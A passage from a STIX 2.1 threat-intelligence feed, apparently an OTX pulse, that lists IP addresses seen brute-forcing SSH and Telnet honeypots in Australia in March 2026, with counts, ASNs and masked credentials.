      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6ee29cb5-9ab6-42a0-a472-0adf964f16d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.194.13.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6438212c-6bd3-49f0-9a9b-70330d38c4a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.97.212.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a*****r, ***, s*****e. Passwords observed (masked): 1***5, A********3, s********3.",
      "id": "indicator--21e58c6d-3401-42ad-a2cb-e6a4c0bfcaea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.80.134.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): j****k, 3**********4, a******k, a*******r, c******m. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, J*******3.",
      "id": "indicator--b70f43c2-2481-493b-bc9e-f270a5a6cfda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.187.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--8529e467-988c-44a7-845f-858b57d289c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Usernames observed (masked): d****y, 3**********4, c****b, f*****r, **. Passwords observed (masked): ***, p******d, 1**4, 3***********4, 3**********4.",
      "id": "indicator--a1c982b8-407d-407b-9c20-078e82d466cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.159.100.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--4432919b-5d38-43a8-b1f5-7872c759f1ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.170.135.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:15:14.000Z",
      "valid_until": "2026-04-08T07:15:11.000Z"
    },
    {
      "created": "2026-03-07T07:15:14.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.116.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:15:14.000Z",
      "valid_until": "2026-04-08T07:15:11.000Z"
    },
    {
      "created": "2026-03-07T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f39486ed-2e10-4541-824b-5b958e8736b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:15:14.000Z",
      "valid_until": "2026-04-08T07:15:11.000Z"
    },
    {
      "created": "2026-03-07T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 57860. Organisation(s): Zencurity ApS. Usernames observed (masked): s*****t. Passwords observed (masked): I***********************5.",
      "id": "indicator--642f946a-5228-4a2c-9ef5-e7929e01eb4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.129.62.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:15:14.000Z",
      "valid_until": "2026-04-08T07:15:11.000Z"
    },
    {
      "created": "2026-03-07T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U**********************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:15:14.000Z",
      "valid_until": "2026-04-08T07:15:11.000Z"
    },
    {
      "created": "2026-03-07T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--34f2271e-fe05-4010-a960-fe9365e986a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.10.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:15:14.000Z",
      "valid_until": "2026-04-08T07:15:11.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--a0530d96-1835-40ef-b37a-edc6b0217553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.126.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): e******r, l*****n. Passwords observed (masked): 1***5, l*****n.",
      "id": "indicator--782a1bb0-85f1-445d-9442-9c593778684b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.199.121.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c851fc4b-293b-4809-9853-183978e1b857",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.165.183.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--87e7c258-839c-40de-a98f-ec1d14626d8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.168.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--76589a38-2eea-4e73-818f-3b60c7e4e471",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 489. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--4655d137-e287-4778-8f43-5e2c9d9bb9e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268790. Organisation(s): EASY NET TELECOMUNICACOES LTDA.",
      "id": "indicator--d59ba4cc-b83e-46e9-a00c-981fb94c077b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.173.37.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9658. Organisation(s): Eastern Telecoms Phils., Inc.. Usernames observed (masked): ***, g****b. Passwords observed (masked): ***, G*******3.",
      "id": "indicator--2f480540-2872-4204-9337-bed60bfcb70f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.28.144.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 47119. Organisation(s): JSC Ufanet.",
      "id": "indicator--f4d1112a-baff-47e0-ba48-20bea3c639de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.174.63.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T08:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--768a84d4-5019-4bc2-aeef-884be38ba87a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T08:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.174.95.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T08:15:07.000Z",
      "valid_until": "2026-04-08T08:15:05.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): e***n, ***, o**r. Passwords observed (masked): 1***5, 1****6, E*******!.",
      "id": "indicator--5964c5a9-b442-4a4a-ae29-650d289c989f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.132.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397270. Organisation(s): NetInformatik Inc.. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--3819c6e9-c287-449f-9127-69d69fed7b23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.51.96.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--3a413357-0989-4380-a641-2871b95ced12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--e607bca5-129a-40ac-9888-81c93efad2cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--1b9e5262-d360-4e8b-afc5-d8911afbfbeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.94.28.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s**s, 3**********4, a*****r, g****e. Passwords observed (masked): 3***********4, 3**********4, A********3, g****e, s******4.",
      "id": "indicator--a6b156b1-5de5-4572-84e7-6cd429123f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.81.244.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): c***r, 3**********4, a*****r, g***e. Passwords observed (masked): 3***********4, 3**********4, A********3, c******3, g*******s.",
      "id": "indicator--382b8dbe-7887-436f-84ee-116a97048c76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.36.99.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--fc403b8a-af02-4acd-8621-d22511053c22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.80.174.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T09:15:13.000Z",
      "valid_until": "2026-04-08T09:15:11.000Z"
    },
    {
      "created": "2026-03-07T10:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--330ea395-c7b3-4086-a539-7551c77f2bdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T10:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.61.43.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T10:15:15.000Z",
      "valid_until": "2026-04-08T10:15:13.000Z"
    },
    {
      "created": "2026-03-07T10:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--7c4ffbe0-569b-42f9-9e62-41de9e59fd9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T10:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T10:15:15.000Z",
      "valid_until": "2026-04-08T10:15:13.000Z"
    },
    {
      "created": "2026-03-07T10:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: FI. ASN(s): 207137. Organisation(s): PacketHub S.A.. Passwords observed (masked): 1****6.",
      "id": "indicator--cdc8cd1c-d1be-4a97-b956-e2baeffb8578",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T10:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.160.101.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T10:15:15.000Z",
      "valid_until": "2026-04-08T10:15:13.000Z"
    },
    {
      "created": "2026-03-07T10:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--dc539af6-141b-4db1-a1c6-13f93134cae1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T10:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.237.76.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T10:15:15.000Z",
      "valid_until": "2026-04-08T10:15:13.000Z"
    },
    {
      "created": "2026-03-07T10:15:15.000Z",
